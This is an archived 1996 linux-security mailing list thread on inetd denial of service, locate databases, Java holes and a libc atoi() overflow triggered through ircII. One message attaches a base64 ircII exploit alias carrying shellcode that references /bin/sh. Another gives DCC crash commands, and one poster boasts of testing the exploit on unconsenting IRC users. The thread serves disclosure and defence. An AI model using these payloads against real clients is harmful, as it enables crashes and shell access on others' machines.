few security enhancements. most notably support for wheel groups in su. Keywords: su false util security secure Author: Maintained-by: [email protected] (Eric John Kuzniar) Primary-site: sunsite.unc.edu /pub/system/Misc Alternate-site: Original-site: hendersonville.cs.unca.edu /pub/linux/security Platform: Copying-policy: GPL End linux-security/linux-security.960504100664 1767 1767 27546 6142677412 16671 0ustar majdommajdomFrom [email protected] Sat May 4 11:23:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07497; Sat, 4 May 1996 11:23:20 -0400 Message-ID: <[email protected]> Date: Fri, 03 May 1996 08:24:22 +0200 From: Peter Henning Organization: G.E.M. Internet Company X-Mailer: Mozilla 3.0b2 (X11; I; Linux 1.3.88 i586) MIME-Version: 1.0 To: [email protected] Subject: Re: [linux-security] Denial of service in inetd References: <[email protected]> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Chris Farris wrote: > > If you send these services the "SYN" packet and then reset the connection > before the connection is open, it will cause inetd to die completly. Does anyone know whether xinetd is vulnerable to the same sort of attacks? If not, it should be considered as a more secure inetd replacement. Unfortunately the configurations files are slightly different. -- ________________________________________________ | * G * E * M * | http://sparkly.gem.co.za/ |\ | 11 Orphan Street | Voice:+27 21 23 7023 | | | Cape Town 8001 | Fax:+27 21 23 7055 | | | finger [email protected] for public key | | |____________________|___________________________| | \________________________________________________\| From [email protected] Sat May 4 11:28:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07514; Sat, 4 May 1996 11:28:30 -0400 From: "Miller, Raul D." To: [email protected], [email protected], [email protected] Subject: [linux-security] [linux-alert] Yet Another Java Hole. Date: Fri, 03 May 96 09:54:00 PDT Message-ID: <[email protected]> Encoding: 35 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list [This is certainly not Linux-specific, but since Java has the potential to be a real nuisance to security-minded people everywhere I feel it's worth a bit of discussion here (just as long as it doesn't start A Thread That Will Not Die). --Jeff.] David Hopwood: Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This should be considered a Java security bug. A Java capable browser should be capable of (a) displaying/logging each new type of access to a new object (file, host, ...) so the user has a chance of understanding what's being looked at or modified. (b) requiring the user to give access permission before allowing access [obviously there could be several variants of this]. These capabilities should go into the implementation of the java language, and should not be implemented using a security monitor class (or whatever). The point is that if the user doesn't have control of the interpreter, and can't even figure out what it's touching, there will always be security problems. If this were done right the host access restrictions of Java would be a lot less meaningful. -- Raul From [email protected] Sat May 4 11:29:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07530; Sat, 4 May 1996 11:29:14 -0400 From: Zefram Message-Id: <[email protected]> Subject: Re: [linux-security] locate & updatedb To: [email protected] (John Gilmore) Date: Fri, 3 May 1996 15:31:07 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "John Gilmore" at May 2, 96 11:13:41 pm X-Loop: [email protected] X-Stardate: [-31]7448.02 X-US-Congress: Moronic fuckers MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 703 Sender: [email protected] Precedence: list >I think a more durable solution would be to add a call to access() in >the locate command. Before returning any file name on stdout, locate >would check that it is accessible to the user who's running locate. > >This not only allows a full root `find' in updatedb, but also has the >nice side effect of eliminating files from locate's output if they have >been deleted or made inaccessible since updatedb was run by cron. That would require locate to be setuid, and would also slow it down. The best solution is simply, as has been previously stated, to run updatedb as an unprivileged user that owns no files. Just accept the limitations. If you want something more up to date, use find. -zefram From [email protected] Sat May 4 11:33:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07563; Sat, 4 May 1996 11:33:29 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: John Gilmore cc: [email protected] Subject: Re: [linux-security] locate & updatedb In-reply-to: <[email protected]> from John Gilmore on Thu, 02 May 1996 23:13:41 PDT. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 03 May 1996 11:12:12 -0400 From: Marc Ewing Sender: [email protected] Precedence: list [Mod: Quoting trimmed slightly. --Jeff.] John Gilmore writes: > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. > > This not only allows a full root `find' in updatedb, but also has the > nice side effect of eliminating files from locate's output if they have > been deleted or made inaccessible since updatedb was run by cron. That is a nice side-effect, but I think it doesn't really solve the problem -- the info is still in the database for all to read. -Marc From [email protected] Sat May 4 11:38:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07586; Sat, 4 May 1996 11:38:08 -0400 Message-Id: From: Lars Wirzenius To: [email protected] Subject: Re: [linux-security] locate & updatedb In-reply-to: Your message of "Thu, 02 May 1996 23:13:41 PDT." <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 03 May 1996 17:46:54 +0300 Sender: [email protected] Precedence: list John Gilmore: > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. But then the database (/var/lib/locate/locatedb) needs to be protected, and /usr/bin/locate must be made setuid, and the database updating process must be run with suitable privileges, and all relevant programs must be checked that they do not have any holes, and worried sysadmins must be calmed that a /usr/bin/locate that is setuid root is not a hole, and _still_ there will be rumors about a _BIG_ security hole in it. (I know that setuid root isn't necessary. It could be a special uid just for this purpose as well.) Much simpler to just have locate show files that _anyone_ can access. That is, run the corresponding find as nobody, as in my Debian setup (/etc/cron.daily/find): #! /bin/sh # # cron script to update the `find.codes' database. # # Written by Ian A. Murdock . su nobody -c "cd / && updatedb" 2>/dev/null > nice side effect of eliminating files from locate's output if they have > been deleted or made inaccessible since updatedb was run by cron. An option to do this would be nice and should be trivial to implement. But I don't think it should be used to solve security problems. (The option shouldn't be on by default, since it makes the thing run too slow. Think NFS and "locate man".) [Mod: This should about wrap it up for updatedb and locate. Lars, together with some of the previous posters, has hit most of the high points of the "good" solution(s) and pointed out most of the weaknesses of the others. --Jeff.] From [email protected] Sat May 4 11:40:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07618; Sat, 4 May 1996 11:40:40 -0400 Date: Fri, 3 May 1996 17:00:17 +0100 (BST) From: Mark Cooke X-Sender: mpc@xun9 To: John Gilmore cc: [email protected], [email protected] Subject: Re: [linux-security] locate & updatedb In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 2 May 1996, John Gilmore wrote: > > i've noticed this problem for quite a while. updatedb is standard in the > > crontab of root, so it can enter any directories root can enter. An easy > > fix is to simply run it as another user, or disable locate all together. > > [or use --prunepaths=...] > > I think a more durable solution would be to add a call to access() in > the locate command. Before returning any file name on stdout, locate > would check that it is accessible to the user who's running locate. Yes - but you'd have to make the locate program suid a dummy user, and the database 600 to prevent your users from importing the source and compiling without access() Mark ------------------------------------------------------------------------------ Mark Cooke The views expressed above are mine Systems Programmer and do not reflect in any way the University Of Birmingham current policy of my employers. ------------------------------------------------------------------------------ From [email protected] Sat May 4 12:00:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA07704; Sat, 4 May 1996 12:00:09 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt 'Panzer Boy') Newsgroups: mail.linux.security Subject: Re: [linux-security] LSF: Cryptographic Filesystem under Linux Date: 19 Apr 1996 01:50:57 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 18 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list [Mod: Sorry for the delay on this; it got lost in my inboxes. --Jeff.] Alexander O. Yuriev ([email protected]) wrote: : Cryptographic File System under Linux HOW-TO : Copyright (C) 1996 Alexander O. Yuriev ([email protected]) : COMPILING AND INSTALLING CFS : several methods to make CFS work under Linux, the cleanest one of : which is based on the modifications performed by Olaf Kirch. His : version of CFS is available from: : ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.tar.gz ftp://utopia.hacktic.nl/pub/replay/pub/crypto/CRYPTOapps/cfs-1.3.3-2.src.rpm There's some other stuff in there, binary rpm, original source, etc, etc. :) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/linux-security.960505100664 1767 1767 5160 6143163526 16633 0ustar majdommajdomFrom [email protected] Sun May 5 13:36:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA00640; Sun, 5 May 1996 13:36:43 -0400 Date: Sat, 4 May 1996 15:03:46 -0700 (PDT) From: Kit Knox X-Sender: kit@connectnet1 To: Peter Henning cc: [email protected] Subject: Re: [linux-security] Denial of service in inetd In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 3 May 1996, Peter Henning wrote: > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. These internal services can be abused in many other ways. UDP storms (to the echo port etc) come to mind. Everyone should disable these to begin with. I have no idea why the main distributions (redhat/slack/etc) decide to distribute these insecure distributions. +-----------------------------------------+ | Kit Knox - System Administrator | | CONNECTnet - http://www.connectnet.com/ | +-----------------------------------------+ From [email protected] Sun May 5 13:37:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA00660; Sun, 5 May 1996 13:37:25 -0400 Date: Sat, 4 May 1996 18:32:07 -0500 (CDT) From: Kwest Admin X-Sender: [email protected] To: Peter Henning Cc: [email protected] Subject: Re: [linux-security] Denial of service in inetd In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Greetings.. > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. I'm not sure if xinetd is vulnerable or not, but it does come with a nifty script to convert inetd.conf to xinetd.conf - I have xinetd setup here, I'll try to break it and let you know how I go. -- ,-._|\ Dale Shaw | / Oz \ | bbs: +61-6-254-9437 [email protected] | \_,--.x/ | fax: +61-6-251-6848 v linux-security/linux-security.960507100664 1767 1767 2566 6143665162 16647 0ustar majdommajdomFrom [email protected] Tue May 7 11:21:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA11933; Tue, 7 May 1996 11:21:21 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] Denial of service in inetd To: [email protected] (Kit Knox) Date: Tue, 7 May 1996 09:57:45 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Kit Knox" at May 4, 96 03:03:46 pm Content-Type: text Content-Length: 697 Sender: [email protected] Precedence: list > These internal services can be abused in many other ways. UDP storms (to > the echo port etc) come to mind. Everyone should disable these to begin > with. I have no idea why the main distributions (redhat/slack/etc) decide > to distribute these insecure distributions. It depends how people view them. There are some nasties in the internal services. By your argument we shouldnt include TCP (insecure, spoofable, can be tripped into a network food fight with fake frames), IP is right out because you can destroy the routing tables causing the same effects, and running on a 386 or 486 CPU is out as they have security bugs Having echo "off" by default would be a good move though. Alan linux-security/linux-security.960508100664 1767 1767 2531 6144160017 16626 0ustar majdommajdomFrom [email protected] Wed May 8 13:55:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA21046; Wed, 8 May 1996 13:55:23 -0400 Message-ID: <[email protected]> From: lilo Date: Wed, 8 May 1996 02:23:11 -0500 (CDT) To: Linux Security List Subject: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This evening I was given an exploit which suggests a serious bounds-checking problem in libc >5.0.0 <5.3.9 or so. I'll provide an announcement including an exploit tomorrow if it hasn't already been provided. The exploit is an alias which can be run under ircII which appears to segfault current ircII releases. It's very suggestive and appears to occur in approximately the range of libc releases suggested. We've done some testing on #LinPeople (irc.linpeople.org), where I'll refer anyone who needs background in a hurry. In the meantime, I'm providing the exploit to the list owners so they can begin looking at the problem. I suggest anyone within the range of libc releases which seems to be affected begin looking at an upgrade to 5.3.12. lilo linux-security/linux-security.960509100664 1767 1767 36243 6144502332 16656 0ustar majdommajdomFrom [email protected] Thu May 9 05:54:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id FAA25663; Thu, 9 May 1996 05:54:05 -0400 Date: Tue, 7 May 1996 17:45:36 -0400 (EDT) From: Peter Hartzler To: [email protected] Subject: Re: [linux-security] Denial of service in inetd In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [Mod: This is not Linux-specific, but I'm sure that many Linux users may be wondering about these same sorts of things. I ask that you please direct replies to the post's author (i.e. not to the list), and that he post a future summary if he thinks it's worthwhile. --Jeff.] On Tue, 7 May 1996, Alan Cox continued: > > These internal services can be abused in many other ways. UDP storms (to > > the echo port etc) come to mind. Everyone should disable these to begin > > with. I have no idea why the main distributions (redhat/slack/etc) decide > > to distribute these insecure distributions. > > It depends how people view them. There are some nasties in the internal > services. By your argument we shouldnt include TCP (insecure, spoofable, > can be tripped into a network food fight with fake frames), IP is right > out because you can destroy the routing tables causing the same effects, > and running on a 386 or 486 CPU is out as they have security bugs > > Having echo "off" by default would be a good move though. Hmmm.. I'm wondering about this stuff. I see that these "dangerous" services have a tcp and a udp component... Is the udp one dangerous and the tcp not? --- from /etc/inetd.conf --- echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal time stream tcp nowait root internal time dgram udp wait root internal --- snip --- Also, the inetd 8 man page says: --------- Inetd provides several ``trivial'' services internally by use of routines within itself. These services are ``echo'', ``discard'', ``chargen'' (character generator), ``daytime'' (human readable time), and ``time'' (machine readable time, in the form of the number of seconds since midnight, January 1, 1900). All of these services are tcp based. For details of these services, consult the appropriate RFC from the Network Information Center. --------- Does this speak to ones' ability to shut down these services, if they're supplied internally by inetd? Why is the udp version mentioned in the .conf file if they're tcp based? Thanks in advance for any help with understanding this! -ph Peter Hartzler From [email protected] Thu May 9 07:43:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id HAA26305; Thu, 9 May 1996 07:43:40 -0400 X-Authentication-Warning: neo-can.netline.net: lharring owned process doing -bs Date: Thu, 9 May 1996 07:22:08 -0400 (EDT) From: Synthesizer Punk X-Sender: [email protected] To: lilo cc: Linux Security List Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 8 May 1996, lilo wrote: > This evening I was given an exploit which suggests a serious bounds-checking > problem in libc >5.0.0 <5.3.9 or so. > > [Mod: Quoting trimmed. --Jeff.] This is an old 'exploit' if you will call it that. I won't provide specifics, for obvious reasons, but I will say that it uses the client to client protocol to fake a direct client connection send. I haven't gotten a chance to really look at it, but I've been testing it on idiots in the #warez channels (My testing grounds, no one cares what happens to them :P) and it seems as if it works about 1/5th of the time. Some scripts even gave me a dirty reply stating (quote) 'Try that backdoor somewhere else ASSHOLE!'. That one gave me a shock. :) I scanned it over in JED, (8 bit clean) and I noticed a reference to /bin/sh. If lilo doesn't want to provide the information, I will. A basic solve would be to ignore all CTCPs if you find your client is exposed to this: /ignore * ctcp synthpunk@irc The Wasteland IRC Administrator [email protected] http://www.tessier.com/People/synthpunk From [email protected] Thu May 9 08:52:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA26594; Thu, 9 May 1996 08:52:00 -0400 Date: Thu, 9 May 1996 08:06:58 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-security] Administrative note regarding subscriptions. X-Spook: Delta Force MIRV World Trade Center X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- I've noticed a *lot* of people that are subscribed to both the linux-security and linux-alert lists. (Current subscription total: 7450 addresses in 79 top-level domains.) Linux-alert postings are normally CC'd to the linux-security list; if you're subscribed to linux-security then you don't really need to be subscribed to linux-alert as well. linux-alert is for bug and fix announcements, important security-related announcements, etc., whereas linux-security is for background discussions and work on security issues. If you're only interested in hearing about really important matters you should be subscribed to linux-alert. If you're interested in the background information and discussions, as well as the important announcements, you should be subscribed to linux-security. One other note: since the traffic volume on linux-alert is quite low (typically only a couple/few posts per month), subscribing to linux-alert-digest effectively causes an alert to reach you roughly a week later than if you were subscribed to linux-alert. There's really no point in having a linux-alert-digest list; I'm once again considered discontinuing it and moving its subscribers over to the regular linux-alert list. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMZHf3XoDqzGe1QXFAQF/ZQQAwoqMV9lxfrd3INct3743ZSNoPfjJgerp 42kCxpKE4UGXY/oBTdDUL3i6dQFRLCvxbyPlrTw0w/ZUGfr20/TKQVWJGhD8XKyF gHaWT+iCimjCf8wc/YZqpMwzddCSr37J+erJO1qkynaxQW8N6x5NlL4XbR7wswmI QARJ3+UCwnM= =XNaE -----END PGP SIGNATURE----- From [email protected] Thu May 9 16:48:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA31683; Thu, 9 May 1996 16:48:16 -0400 Message-ID: <[email protected]> From: lilo Date: Thu, 9 May 1996 11:49:57 -0500 (CDT) To: Linux Security List Subject: [linux-security] Corrected post: Exploit for problem with libc >5.0.0 <5.3.9 MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811780-1085441611-831660434=:485" Content-ID: Sender: [email protected] Precedence: list This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [email protected] for more info. ---1463811780-1085441611-831660434=:485 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Sorry, pine is a little bit stubborn at times. Here is the corrected posting with the attachment. I wish I had time to look into this more carefully. However, I've confirmed that with no other code changes, an upgrade to libc 5.3.12 eliminates this problem. So far I have heard of no security holes in 5.3.12 though that could certainly change. You can see by inspection this exploit is probably a botched attempt to get shell access on the other user's client. To use this exploit to segfault someone's vanilla 2.8.2+ client: /load screw.irc /libc I'd appreciate it if anyone who troubles to look into this more deeply could send me some detail on just what is going on, for my records. It segfaults with an illegal instruction. Thank you for your time. lilo ---1463811780-1085441611-831660434=:485 Content-Type: TEXT/PLAIN; name="screw.irc" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: YWxpYXMgbGliYyB7DQovY3RjcCAkMCBEQ0MgU0VORCBmZWggMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJDrJF6NHoleCzPSiVYHiVYPuBtWNBI1EFY0Eo1OC4vR zYAzwEDNgOjX////L2Jpbi9zaCAyMDQ4IDIwNDgNCn0NCg== ---1463811780-1085441611-831660434=:485-- From [email protected] Thu May 9 16:49:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA31714; Thu, 9 May 1996 16:49:27 -0400 Message-ID: <[email protected]> From: lilo Date: Thu, 9 May 1996 12:16:42 -0500 (CDT) To: Synthesizer Punk cc: lilo , Linux Security List Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 9 May 1996, Synthesizer Punk wrote: > This is an old 'exploit' if you will call it that. I won't provide > specifics, for obvious reasons, but I will say that it uses the client to > client protocol to fake a direct client connection send. I haven't gotten > a chance to really look at it, but I've been testing it on idiots in the > #warez channels (My testing grounds, no one cares what happens to them :P) > and it seems as if it works about 1/5th of the time. Some scripts even > gave me a dirty reply stating (quote) 'Try that backdoor somewhere else > ASSHOLE!'. That one gave me a shock. :) I scanned it over in JED, (8 bit > clean) and I noticed a reference to /bin/sh. If lilo doesn't want to > provide the information, I will. A basic solve would be to ignore all > CTCPs if you find your client is exposed to this: > /ignore * ctcp Problem being that it's been recycled to show a difficulty with libc, even if your client is not susceptible to the original problem (recent ircII doesn't seem to be). The new problem would be a bounds checking problem with libc, it appears, since it is corrected by updating libc. Um, anyone who has to do /ignore * ctcp probably needs to upgrade their client, since ctcp functions are fairly handy things. But that's a separate issue for another time, and probably another venue.... Anyway, I've posted the exploit as an attachment to a previous message. If your client is susceptible to the original backdoor (most aren't at this point), upgrade it. If you are running libc >5.0.0 < 5.3.9 or so, upgrade it. Any information on the character of the libc problem would be appreciated; the irc backdoor is pretty much old hat. lilo From [email protected] Thu May 9 16:50:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA31737; Thu, 9 May 1996 16:50:12 -0400 Message-ID: <[email protected]> From: lilo Date: Thu, 9 May 1996 12:35:17 -0500 (CDT) To: Linux Security List cc: Michael J Loftis Subject: Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 In-Reply-To: <[email protected]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Michael, My apologies for excerpting a bit of your private message, but this seems to be a potential point of confusion, so I wanted to address it on channel. Not implying you were confused, just that it's a good opportunity to address the point. So, my current understanding follows. I'm going to quit posting on this topic, it looks as if everyone's on track and unless something changes I won't have much more to contribute. :) On Thu, 9 May 1996, Michael J Loftis wrote: > I had found that bug early on and tried to report it but to no > avail. I ended up patching it myself instead of waiting for a new > release. I think I'll look at 5.3.12 and see if it still has the bug. There are apparently two bugs here: (1) This exploit was designed to let hackers acquire shell access to systems of users running earlier (possibly modified/scripted) ircII clients. That leak has (apparently) been plugged by recent client code. (2) The exploit has been recycled to demonstrate a problem with libc >5.0.0 and < about 5.3.9. Libc 5.3.12 appears to plug that leak. lilo From [email protected] Thu May 9 19:50:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id TAA02157; Thu, 9 May 1996 19:50:47 -0400 Message-Id: Date: Thu, 9 May 96 19:10 BST From: [email protected] (Alan Cox) To: [email protected] Subject: [linux-security] Accelerated X , machine crash possible monitor damage attack Sender: [email protected] Precedence: list Software: Accelerated X build 1.2.7 (Caldera Desktop CD) Description: User created .Xaccel.ini files override the system wide one. Users may place statements in the file that cause the priviledged server to crash the machine. It appears that other aspects are handled correctly. symlinks to user unreadable files are not read. Note: This is the same bug fixed in Xfree86 over a year ago. Could someone test Metro-X as well ? Fix: Unknown. Using XFree86 is not open to all Accelerated X users nor desirable for performance reasons on some cards. linux-security/linux-security.960510100664 1767 1767 11667 6144710067 16657 0ustar majdommajdomFrom [email protected] Fri May 10 11:19:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07808; Fri, 10 May 1996 11:19:59 -0400 Date: Thu, 9 May 1996 19:32:22 -0400 (EDT) From: Pat Trainor To: [email protected] Subject: [linux-security] uhh.. security? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list What way can a sysadmin check all dirs for the proper (or close) permissions and symbolic links for an a> functional system, and b> a secure system? No references I have found to date treat linux security with any more than 3 pages. YET the distributions as installed leave the system wide open.. Any scripts/utils/books/prayers? pat :) [email protected] http://www.title14.com/ "Winning may not be everything, but losing is NOTHING!" -Ed Bighead From [email protected] Fri May 10 11:21:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA07842; Fri, 10 May 1996 11:21:34 -0400 From: [email protected] Message-Id: <[email protected]> Subject: [linux-security] libc bug exploited through ircII To: [email protected] (Linux Security) Date: Fri, 10 May 1996 00:31:11 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1694 Sender: [email protected] Precedence: list Several posts have been made concerning the libc bug being exploited through ircII clients. This is what I have been able to figure out so far: The bug is *not* in the irc clients, but in libc's atoi() function, which lacks the correct bounds checking. As far as I know, this bug is present in all libc versions after 5.0.0, and was finally fixed in version 5.3.12. The exploit script that has been circulated, screw.irc, was *never* able to provide a shell through the client as far as I can tell. I studied the code, and except for some initial pointers, it turns out to be exactly the same as what was used in egg.c, the exploit for the splitvt bug that most of you will remember. Someone probably put it in there to see if this caused the same kind of vulnerability. *NOTE* None of this code has to be present to be able to crash the client! In fact, it is sufficient to send a DCC send or chat command with a second argument long enough to overflow atio()'s buffer. The limit appears to be 199 characters -- everything above that will cause a segmentation fault and exit the client. Thus, /ctcp dcc send duh <200 0's> 0 and /ctcp dcc chat chat <200 0's> 0 will both crash the client. The second argument is only supposed to consist of no more than 10 digits, so writing a script to prevent this hack is simple: /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { echo Possible libc bug exploit received in DCC $4 from $0 } This will prevent DCC requests with a second argument of 11 characters or more from being processed by ircII, and should do the trick if you happen to be too lazy to update libc. .../zarq Runar Jensen [[email protected]] From [email protected] Fri May 10 14:51:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA14295; Fri, 10 May 1996 14:51:34 -0400 Message-ID: <[email protected]> From: lilo Date: Fri, 10 May 1996 12:57:41 -0500 (CDT) To: [email protected] cc: Linux Security Subject: Re: [linux-security] libc bug exploited through ircII In-Reply-To: <[email protected]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 10 May 1996 [email protected] wrote: > The second argument is only supposed to consist of no more than 10 > digits, so writing a script to prevent this hack is simple: > > /on ^raw_irc "% PRIVMSG % *DCC % % ???????????* *" { > echo Possible libc bug exploit received in DCC $4 from $0 > } > > This will prevent DCC requests with a second argument of 11 characters > or more from being processed by ircII, and should do the trick if you > happen to be too lazy to update libc. But, we know that bounds problems can often be exploited to achieve things like shell access to the account on which they are run. I think if you're too lazy to update libc you're likely to be hit by the second or third generation exploit, and the results may be nastier. It's also likely that exploit will be written against some inetd daemon, rather than ircII. lilo linux-security/linux-security.960511100664 1767 1767 45034 6145135303 16646 0ustar majdommajdomFrom [email protected] Sat May 11 11:37:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA14944; Sat, 11 May 1996 11:37:27 -0400 From: Chris Farris Message-Id: <[email protected]> Subject: [linux-security] Inetd problem -followup To: [email protected] Date: Fri, 10 May 1996 15:51:48 -0400 (EDT) Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL24 PGP2] Content-Type: text Content-Length: 1431 Sender: [email protected] Precedence: list Forwarded message: > Chris Farris wrote: > > > > If you send these services the "SYN" packet and then reset the connection > > before the connection is open, it will cause inetd to die completely. > > Does anyone know whether xinetd is vulnerable to the same sort of attacks? > > If not, it should be considered as a more secure inetd replacement. > Unfortunately the configurations files are slightly different. Our stealth scan code does _not_ break xinetd. I still would be careful about having unused services present. As Alan Cox mentioned, chargen/echo could be spoofed into a nasty "network food fight". Apologies for not posting versions before. The affected kernels I tested this against were 1.3.64, 1.3.99, 1.2.13, and 1.2.1. The version of inetd is, the version(s) included with slackware 2.2 and 3.0. Question: Would you, recommend for/against running sendmail from xinetd? The example xinetd.conf file had an entry for sendmail, but my belief always was sendmail had a large startup cost, so it was better to always keep it running. And how would sendmail know how to process the queue after a specified interval? Thanks Chris -- Chris Farris | Voice: (404)252-7270 Internet Security Systems, Inc. | Fax: (404)252-2427 Ste. 115, 5871 Glenridge Dr, | www: http://www.iss.net/ Atlanta, GA 30328 | Email: [email protected] 1st rule of computer security: What You Don't See Is What Gets You From [email protected] Sat May 11 